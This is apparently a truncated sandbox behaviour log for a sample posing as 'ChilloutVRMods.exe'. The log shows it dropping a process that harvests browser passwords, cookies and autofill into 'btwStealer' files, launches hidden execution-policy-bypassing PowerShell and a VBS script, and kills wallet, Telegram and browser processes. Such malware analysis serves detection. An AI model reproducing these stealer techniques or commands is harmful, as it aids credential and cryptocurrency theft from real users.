(Indicator: "github.com"; File: "tags.py") file/memory contains long string with (Indicator: "github.com"; File: "req_command.py") file/memory contains long string with (Indicator: "github.com"; File: "url.py") file/memory contains long string with (Indicator: "github.com"; File: "configuration.py") file/memory contains long string with (Indicator: "github.com"; File: "cache.py") file/memory contains long string with (Indicator: "github.com"; File: "spawn.py") file/memory contains long string with (Indicator: "github.com"; File: "progress_bars.py") file/memory contains long string with (Indicator: "github.com"; File: "spinners.py") file/memory contains long string with (Indicator: "github.com"; File: "connection.py") file/memory contains long string with (Indicator: "github.com"; File: "METADATA") file/memory contains long string with (Indicator: "github.com"; File: "response.py") file/memory contains long string with (Indicator: "github.com"; File: "python.nuspec") file/memory contains long string with (Indicator: "github.com"; File: "__init__.py") file/memory contains long string with (Indicator: "github.com"; File: "main.py")31:T1b38,"ChilloutVRMods.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007912) "ChilloutVRMods.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007912) "ChilloutVRMods.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007912) "zeppskdd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004592) "zeppskdd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000008e0200000000000000000000000000000000000002000000000000002d00012c0000000007000000000000006b01006a00000000010000002702000000000000000000000000000000000000803d26eaf77f000000004b928e0200000000000000000000000000000000000060be9ee2f97f000000004b928e020000dfd55a928e0200000000000000000000e0d55a928e0200000000000000000000802b7fe9f77f00009f6528948e0200009c01000092000000283d26eaf77f0000c07128948e020000903128948e02000090cc4f928e02000060e1cf599200000030fe23e9f77f00000000000000000000380000000000000000000000 (UID: 00000000-00004592) "zeppskdd.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004592) "zeppskdd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000e01358948e020000c05449948e020000889d57948e020000f0bc57948e02000060e0cf5992000000101277948e02000030fe23e9f77f00000000000000000000280000000000000000000000000000000000cf5992000000280000000000000047d420e9f77f00005b343f7b611d00002000000000000000411cffe4a5010000abd3c3e8f77f000060e9cf5992000000b15c05e8f77f00001b373f7b611d0000900877948e020000000000000000000000000000000000000000000000001c400000000000000000203aa0948e020000900877948e020000900877948e0200005df823e8f77f000060e9cf5992000000200000000000000060e9cf59 (UID: 00000000-00004592) "zeppskdd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000e01358948e020000c05449948e020000a89d57948e020000f0bc57948e02000060e0cf5992000000101277948e02000030fe23e9f77f00000000000000000000280000000000000000000000000000000000cf5992000000280000000000000047d420e9f77f00005b343f7b611d00002000000000000000411cffe4a5010000abd3c3e8f77f000060e9cf5992000000b15c05e8f77f00001b373f7b611d0000900877948e020000000000000000000000000000000000000000000000003b400000000000000000203aa0948e020000900877948e020000900877948e0200005df823e8f77f000060e9cf5992000000200000000000000060e9cf59 (UID: 00000000-00004592) "zeppskdd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004592) "zeppskdd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000e01358948e020000c05449948e020000a89d57948e020000f0bc57948e02000060e0cf5992000000101277948e02000030fe23e9f77f00000000000000000000280000000000000000000000000000000000cf5992000000280000000000000047d420e9f77f00005b343f7b611d00002000000000000000411cffe4a5010000abd3c3e8f77f000060e9cf5992000000b15c05e8f77f00001b373f7b611d0000900877948e020000000000000000000000000000000000000000000000804b4000000000000000008037a0948e020000900877948e020000900877948e0200005df823e8f77f000060e9cf5992000000200000000000000060e9cf59 (UID: 00000000-00004592) "zeppskdd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000e01358948e020000c05449948e020000909d57948e020000f0bc57948e02000060e0cf5992000000101277948e02000030fe23e9f77f00000000000000000000280000000000000000000000000000000000cf5992000000280000000000000047d420e9f77f00005b343f7b611d00002000000000000000411cffe4a5010000abd3c3e8f77f000060e9cf5992000000b15c05e8f77f00001b373f7b611d0000900877948e020000000000000000000000000000000000000000000000c05c4000000000000000002041a0948e020000900877948e020000900877948e0200005df823e8f77f000060e9cf5992000000200000000000000060e9cf59 (UID: 00000000-00004592)32:T1316,"zeppskdd.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004592) "zeppskdd.exe" called "GetVersionExA" with parameter 9c0000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004592) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000003027f465010000c0fb12bbf97f00000001000000000000b8fb12bbf97f0000000000000000000080cbd4e0f97f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a12bbf97f00000000000000000000b8fb12bbf97f000000000000 (UID: 00000000-00005884) "cscript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000000000001033a0e2f97f0000650c0000000000000000e97bf67f000006000000000000001800000000000000000000000000000000000000000000007e856b83120200009a3e7cdadc7e00000000000000000000f5a838cbf97f0000060000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004004) "cscript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000edbeb29600000010edbeb296000000010000000000000000000000749f00000200000000000000000000000000000000009e94fa01000000100000000000008e53dfe0f97f000060eebeb2960000007e851ae0f97f000002000000000000000000000000000000d400000000000000000000000000000000000000 (UID: 00000000-00004004) "cscript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000e0f5e392fa010000c0fbdfbef97f00000001000000000000b8fbdfbef97f0000000000000000000080cbd4e0f97f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1adfbef97f00000000000000000000b8fbdfbef97f000000000000 (UID: 00000000-00004004) "cscript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000863cabbef97f0000104cabbef97f000040b3adbef97f0000104cabbef97f000040b3adbef97f000020b3adbef97f00009d3cabbef97f00006026aebef97f000050ba0793fa01000060ba0793fa0100000000f1e0f97f00000100000000000000bddbd6e0f97f0000000000000000000038b3adbef97f000000000000 (UID: 00000000-00004004) "cscript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000ba4836bbf97f0000605536bbf97f0000b06738bbf97f0000605536bbf97f0000b06738bbf97f0000906738bbf97f0000d14836bbf97f0000000000000000000044611ce0f97f0000a8ad0793fa01000000009de2f97f00000100000000000000bddbd6e0f97f00000100000000000000743b36bbf97f00009069e792 (UID: 00000000-00004004) "cscript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000c02be792fa01000018373bbbf97f0000000100000000000010373bbbf97f0000000000000000000080cbd4e0f97f000000000000000000000001000000000000397c43829c9d0000000036bbf97f000001000000000000003f113abbf97f0000000000000000000010373bbbf97f000000000000 (UID: 00000000-00004004) "python.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003736) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000020296c616f020000c0fbdfbef97f00000001000000000000b8fbdfbef97f0000000000000000000080cbd4e0f97f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1adfbef97f00000000000000000000b8fbdfbef97f000000000000 (UID: 00000000-00002044) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000000eb66b457020000c0fbdfbef97f00000001000000000000b8fbdfbef97f0000000000000000000080cbd4e0f97f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1adfbef97f00000000000000000000b8fbdfbef97f000000000000 (UID: 00000000-00003696) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000009b957e1c020000c0fb31cbf97f00000001000000000000b8fb31cbf97f0000000000000000000080cbd4e0f97f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a31cbf97f00000000000000000000b8fb31cbf97f000000000000 (UID: 00000000-00004788)33:T853,"ChilloutVRMods.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "ChilloutVRMods.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "zeppskdd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "zeppskdd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "python.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")34:T79f,"zeppskdd.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{37255216-02EF-44F9-8AED-5DC539DF48FB}"; Key: "SEARCHLIST"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{37255216-02EF-44F9-8AED-5DC539DF48FB}"; Key: "DOMAIN"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{37255216-02EF-44F9-8AED-5DC539DF48FB}"; Key: "DHCPDOMAIN"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{47E2A11A-1F71-4949-AADD-6B479BDC0801}"; Key: "SEARCHLIST"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{47E2A11A-1F71-4949-AADD-6B479BDC0801}"; Key: "DHCPDOMAIN"; Value: "") "zeppskdd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "SEARCHLIST"; Value: "")35:T104c,"zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\zeppskdd.exe" at 00000000-00004592-00000C17-2044420167 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\WindowsSystemService\Logs" at 00000000-00004592-00000C17-2052882985 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\WindowsSystemService\Logs" at 00000000-00004592-00000C17-2052885015 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\btwStealer-local\output\Browser-Datas\chrome\default\autofill.txt" at 00000000-00004592-00000C17-2114739855 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\btwStealer-local\output\Browser-Datas\chrome\default\cookies.txt" at 00000000-00004592-00000C17-2114740626 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\btwStealer-local\output\Browser-Datas\chrome\default\passwords.txt" at 00000000-00004592-00000C17-2114741351 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\btwStealer-local\output\Browser-Datas\edge\default\autofill.txt" at 00000000-00004592-00000C17-2114742056 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\btwStealer-local\output\Browser-Datas\edge\default\cookies.txt" at 00000000-00004592-00000C17-2114802636 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\btwStealer-local\output\Browser-Datas\edge\default\history.txt" at 00000000-00004592-00000C17-2114803343 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\btwStealer-local\output\Browser-Datas\edge\default\passwords.txt" at 00000000-00004592-00000C17-2114804105 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\btwStealer-local\output\Browser-Datas\firefox\5xz6ua91.default-release\bookmarks.txt" at 00000000-00004592-00000C17-2114804918 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\btwStealer-local\output\Browser-Datas\firefox\5xz6ua91.default-release\cookies.txt" at 00000000-00004592-00000C17-2114805921 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\btwStealer-local\output\Browser-Datas\firefox\5xz6ua91.default-release\history.txt" at 00000000-00004592-00000C17-2114806748 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\btwStealer-local\output\python_stdout.txt" at 00000000-00004592-00000C17-2114821091 "zeppskdd.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\btwStealerLOG_1788284406203.zip" at 00000000-00004592-00000C17-2121755802 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib" at 00000000-00000636-00000C17-2065459260 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib" at 00000000-00000636-00000C17-2065459749 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\encodings\__init__.py" at 00000000-00000636-00000C17-2065494905 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\encodings\__pycache__" at 00000000-00000636-00000C17-2065495594 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib" at 00000000-00000636-00000C17-2065633247 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\codecs.py" at 00000000-00000636-00000C17-2065741747 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\encodings" at 00000000-00000636-00000C17-2065748507 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\encodings" at 00000000-00000636-00000C17-2065749089 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\os.py" at 00000000-00000636-00000C17-2065879071 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__" at 00000000-00000636-00000C17-206587990036:Tc9d,"zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%APPDATA%\WindowsSystemService (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%APPDATA%\WindowsSystemService\Logs (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%LOCALAPPDATA%\btwStealer-local (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%LOCALAPPDATA%\btwStealer-local\output (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\_rels (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\images (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\multiprocessing (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\site-packages (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\site-packages\pip (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3 (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\contrib (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\asyncio (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\contrib\_securetransport (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\multiprocessing\dummy (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\backports (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\pydoc_data (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\ssl_match_hostname (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\DLLs (UID: 00000000-00004592) "zeppskdd.exe" called "CreateDirectoryW" with parameter \\?\%TEMP%\WinGet\tools\Lib\collections (UID: 00000000-00004592)37:T5bd,"ChilloutVRMods.exe" called "CreateNamedPipeA" with parameter "\\.\pipe\dotnet-diagnostic-7912" dwOpenMode: "1074266115" dwPipeMode: "8" - (UID: 00000000-00007912) "zeppskdd.exe" called "CreateNamedPipeA" with parameter "\\?\pipe\uv\FFFFFFFFFFFFFFFF-4592" dwOpenMode: "1074528259" dwPipeMode: "0" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateNamedPipeA" with parameter "\\?\pipe\uv\FFFFFFFFFFFFFFFF-4592" dwOpenMode: "1074528257" dwPipeMode: "0" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateNamedPipeA" with parameter "\\?\pipe\uv\0000000000000000-4592" dwOpenMode: "1074528257" dwPipeMode: "0" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateNamedPipeA" with parameter "\\?\pipe\uv\0000000000000001-4592" dwOpenMode: "1074528257" dwPipeMode: "0" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateNamedPipeA" with parameter "\\?\pipe\uv\0000000000000000-4592" dwOpenMode: "1074528259" dwPipeMode: "0" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateNamedPipeA" with parameter "\\?\pipe\uv\0000000000000001-4592" dwOpenMode: "1074528259" dwPipeMode: "0" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateNamedPipeA" with parameter "\\?\pipe\uv\0000000000000002-4592" dwOpenMode: "1074528259" dwPipeMode: "0" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateNamedPipeA" with parameter "\\?\pipe\uv\0000000000000003-4592" dwOpenMode: "1074528259" dwPipeMode: "0" - (UID: 00000000-00004592)38:Tad8,"ChilloutVRMods.exe" called "CreateProcessW" with parameter ""%TEMP%\zeppskdd.exe"" - (UID: 00000000-00007912) "zeppskdd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -Assemb" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /d /s /c "cscript //nologo //B "%TEMP%\system_check_1788280749172.vbs""" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateProcessW" with parameter "%TEMP%\WinGet\tools\python.exe -m pip install --no-cache-dir --no-warn-script-location --disable-pip-" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateProcessW" with parameter "%TEMP%\WinGet\tools\python.exe C:\Users\kRcug2J\AppData\Local\btwStealer-local\output\browser_forensi" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Securi" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"" - (UID: 00000000-00004592) "zeppskdd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"" - (UID: 00000000-00004592) "cmd.exe" called "CreateProcessW" with parameter "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms System.Dr" - (UID: 00000000-00001732), "cmd.exe" called "CreateProcessW" with parameter "cscript //nologo //B "%TEMP%\system_check_1788280749172.vbs"" - (UID: 00000000-00008912), "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "ver"" - (UID: 00000000-00000636), "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "ver"" - (UID: 00000000-00007668), "python.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "ver"" - (UID: 00000000-00008784), "python.exe" called "CreateProcessW" with parameter "taskkill /F /IM chrome.exe" - (UID: 00000000-00003736), "python.exe" called "CreateProcessW" with parameter "taskkill /F /IM brave.exe" - (UID: 00000000-00003736), "python.exe" called "CreateProcessW" with parameter "taskkill /F /IM msedge.exe" - (UID: 00000000-00003736), "python.exe" called "CreateProcessW" with parameter "taskkill /F /IM opera.exe" - (UID: 00000000-00003736), "python.exe" called "CreateProcessW" with parameter "taskkill /F /IM firefox.exe" - (UID: 00000000-00003736)39:Tf24a,"ChilloutVRMods.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007912) "ChilloutVRMods.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007912) "ChilloutVRMods.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007912) "ChilloutVRMods.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007912) "ChilloutVRMods.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007912) "ChilloutVRMods.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007912) "ChilloutVRMods.exe" called "LoadLibrary" with a parameter C:\advapi32.dll (UID: 00000000-00007912) "ChilloutVRMods.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007912) "ChilloutVRMods.exe" called "LoadLibrary" with a parameter C:\kernel32.dll (UID: 00000000-00007912) "ChilloutVRMods.exe" called "LoadLibrary" with a parameter C:\BCrypt.dll (UID: 00000000-00007912) "ChilloutVRMods.exe" called "LoadLibrary" with a parameter BCrypt.dll (UID: 00000000-00007912) "zeppskdd.exe" called 